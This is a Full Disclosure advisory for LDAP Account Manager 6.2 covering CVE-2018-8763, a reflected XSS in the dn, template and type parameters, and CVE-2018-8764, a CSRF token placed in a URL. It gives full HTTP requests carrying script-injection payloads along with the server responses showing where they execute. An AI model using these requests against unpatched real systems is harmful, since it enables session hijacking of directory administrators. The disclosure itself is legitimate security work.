full-disclosure - [FD] LDAP Account Manager (6.2) CVE-2018-8763, CVE-2018-8764

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Date: Wed, 21 Mar 2018 12:19:56 +0100
From: Michał Kędzior <michal.kedzior1478@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] LDAP Account Manager (6.2) CVE-2018-8763, CVE-2018-8764

Affected Software: LDAP Account Manager (6.2)
Pentester: Michał Kędzior <michal[dot]kedzior147[at]gmail[dot]com>
CVE: CVE-2018-8763, CVE-2018-8764

Vulnerabilities :
*****************

1. Cross-site scripting (reflected) CVE-2018-8763 :
================================

Risk: HIGH

Summary:

***********

Reflected Cross Site Scripting vulnerability has been found during the
test.  It allows for injecting and executing JavaScript code in the
application context. JavaScript code is only reflected by the server, which
differs from Stored Cross-Site Scripting that stores code in the
application permanently. This vulnerability is mostly exploited in order to
hijack authenticated users sessions. It can also be used to redirect users
to malicious websites or steal application user's keystokes.

Proof:

*******

I. Vulnerable parameter dn:

=====================

Request with payload [%3cscript%3ealert(document.domain)%3c%2fscript%3e]:

GET /lam/templates/3rdParty/pla/htdocs/cmd.php?cmd=add_attr_
form&server_id=1&dn=cn%3xxxxx%2cou%3dpeople%2cdc%3dpl%2cdc%
3ds2-eu%2cdc%3dxxxx%2cdc%3dlocalru0bz%3cscript%3ealert(
document.domain)%3c%2fscript%3eu89iu HTTP/1.1

Host: XXXXXXXXXX

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close

Referer: XXXXXXXXX

Cookie: XXXXXXXXXX

Response with execution point [<script>alert(document.domain)</script>]:

HTTP/1.1 200 OK

Cache-Control: no-store, no-cache, must-revalidate

Content-Length: 12887

Content-Security-Policy: frame-ancestors 'self'

Content-Type: text/html; charset="UTF-8"

Date: Fri, 02 Mar 2018 09:52:18 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: Apache/2.4.29 (Debian)

Vary: Accept-Encoding

X-Frame-Options: sameorigin

Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="auto">

<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"
/><title>LDAP Account Manager (6.2) - </title><link rel="shortcut icon"
href="images/favicon.ico" type="image/vnd.microsoft.icon" /><link
type="text/css" rel="stylesheet" href="css/default/style.css" /><link
type="text/css" rel="stylesheet" media="all"
href="js/jscalendar/calendar-blue.css"
title="blue" />

<script type="text/javascript" src="js/ajax_functions.js"></script><script
type="text/javascript" src="js/jscalendar/calendar.js"></script>

</head>

[…]

</div></td><td class="body" style="width: 80%;"><div id="ajBODY">

<table class="sysmsg"><tr><td class="icon" rowspan="2"><img
src="images/default/error-big.png" alt="error" /></td><td
class="head">Error</td></tr><tr><td class="body">The entry
(cn=xxxxx,ou=people,dc=pl,dc=s2-eu,dc=xxxx,dc=localru0bz<
script>alert(document.domain)</script>u89iu) does not
exist.</td></tr></table>

<table class="body"><tr><td></td></tr></table></div></td></tr>

</table></body></html>

II.

Vulnerable parameter template:

========================

Request with payload [%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%
3e]:

GET /lam/templates/3rdParty/pla/htdocs/cmd.php?cmd=rename_
form&server_id=1&dn=cn%3Dtechnic%2Cou%3Dpeople%2Cdc%
3Dpl%2Cdc%3Ds2-eu%2Cdc%3Dxxxx%2Cdc%3Dlocal&template=
noneuaax6%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ev7rfn
HTTP/1.1

Host: xxxxxxx

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close

Response with execution point ["><script>alert(document.domain)</script>]:

HTTP/1.1 200 OK

Cache-Control: no-store, no-cache, must-revalidate

Content-Length: 22141

Content-Security-Policy: frame-ancestors 'self'

Content-Type: text/html; charset="UTF-8"

Date: Fri, 02 Mar 2018 11:22:27 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: Apache/2.4.29 (Debian)

Vary: Accept-Encoding

X-Frame-Options: sameorigin

Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="auto">

<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"
/><title>LDAP Account Manager (6.2) -
cn=technic,ou=people,dc=pl,dc=s2-eu,dc=xxxx,dc=local
</title><link rel="shortcut icon" href="images/favicon.ico"
type="image/vnd.microsoft.icon" /><link type="text/css" rel="stylesheet"
href="css/default/style.css" /><link type="text/css" rel="stylesheet"
media="all" href="js/jscalendar/calendar-blue.css" title="blue" />

<script type="text/javascript" src="js/ajax_functions.js"></script><script
type="text/javascript" src="js/jscalendar/calendar.js"></script>

</head>

[…]

</div></td><td class="body" style="width: 80%;"><div id="ajBODY">

<table class="body"><tr><td><h3 class="title">Rename
<b>cn=technic</b></h3><h3 class="subtitle">DN:
<b>cn=technic,ou=people,dc=pl,dc=s2-eu,dc=xxx,dc=local</b></h3><center>Rename
<b>cn=technic</b> to a new object.<br /><br /><form
action="cmd.php?cmd=rename" method="post" /><input type="hidden"
name="server_id" value="1" /><input type="hidden" name="dn"
value="cn%3Dtechnic%2Cou%3Dpeople%2Cdc%3Dpl%2Cdc%3Ds2-eu%2Cdc%3Dxxxx%2Cdc%3Dlocal"
/><input type="hidden" name="template" value="noneuaax6"><script>
alert(document.domain)</script>v7rfn" /><input type="text" name="new_rdn"
size="30" value="cn=technic" /><input type="submit" value="Rename"
/></form></center>

</td></tr></table></div></td></tr>

</table></body></html>

III.

Vulnerable parameter type:

=====================

Request with payload [%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%
3e]:

GET /lam/templates/upload/masscreate.php?type=userawvpj%
22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ev0car HTTP/1.1

Host: xxxxx

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close

Referer: xxxxxx

Cookie: xxxxxx

Response with execution point ["><script>alert(document.domain)</script>]:

HTTP/1.1 200 OK

Cache-Control: no-store, no-cache, must-revalidate

Content-Length: 8418

Content-Security-Policy: frame-ancestors 'self'

Content-Type: text/html; charset=UTF-8

Date: Fri, 02 Mar 2018 11:10:05 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: Apache/2.4.29 (Debian)

Vary: Accept-Encoding

X-Frame-Options: sameorigin

Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">

<meta http-equiv="pragma" content="no-cache">

<meta http-equiv="cache-control" content="no-cache"><link rel="shortcut
icon" type="image/x-icon" href="../../graphics/favicon.ico">

<link rel="icon" href="../../graphics/logo136.png">

<title>LDAP Account Manager (directoryservice:389)</title>

[…]

<div class="userawvpj"><script>alert(document.domain)</script>v0car-bright
smallPaddingContent"><div class="title">

<h2 class="titleText">Account creation via file upload</h2>

</div><p>&nbsp;</p>

<p>

Here you can create multiple accounts by providing a CSV file.</p>

<p>&nbsp;</p>

<form enctype="multipart/form-data" action="masscreate.php" method="post">

<table>

<tr>

<td    >

<div class="nowrap">Account type</div>

</td>

<td>

<select class="ui-corner-all" name="type" id="type" size="1"
onchange="changeVisibleModules(this);"
tabindex="1">

<option value="group">Groups</option>

<option value="user">Users</option>

</select>

</td>

[…]

Remediation:

***************
Vulnerabilities has been fixed by vendor in version 6.3

2. CSRF token in URL CVE-2018-8764

=================

Risk: LOW

Summary:

************

Sensitive information within URLs may be logged in various locations,
including the user's browser, the web server, and any forward or reverse
proxy servers between the two endpoints. URLs may also be displayed
on-screen, bookmarked or emailed around by users. They may be disclosed to
third parties via the Referer header when any off-site links are followed.
Placing session tokens into the URL increases the risk that they will be
captured by an attacker.

Proof:

*******

Request witch reveals CSRF token [sec_token=1045368361844]:

GET /lam/templates/misc/ajax.php?function=passwordChange&sec_token=1045368361844
HTTP/1.1

Host: xxxx

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close

Referer: xxxxx

Cookie: xxxxxx

Remediation:

***************

Vulnerability has been fixed by vendor in version 6.3

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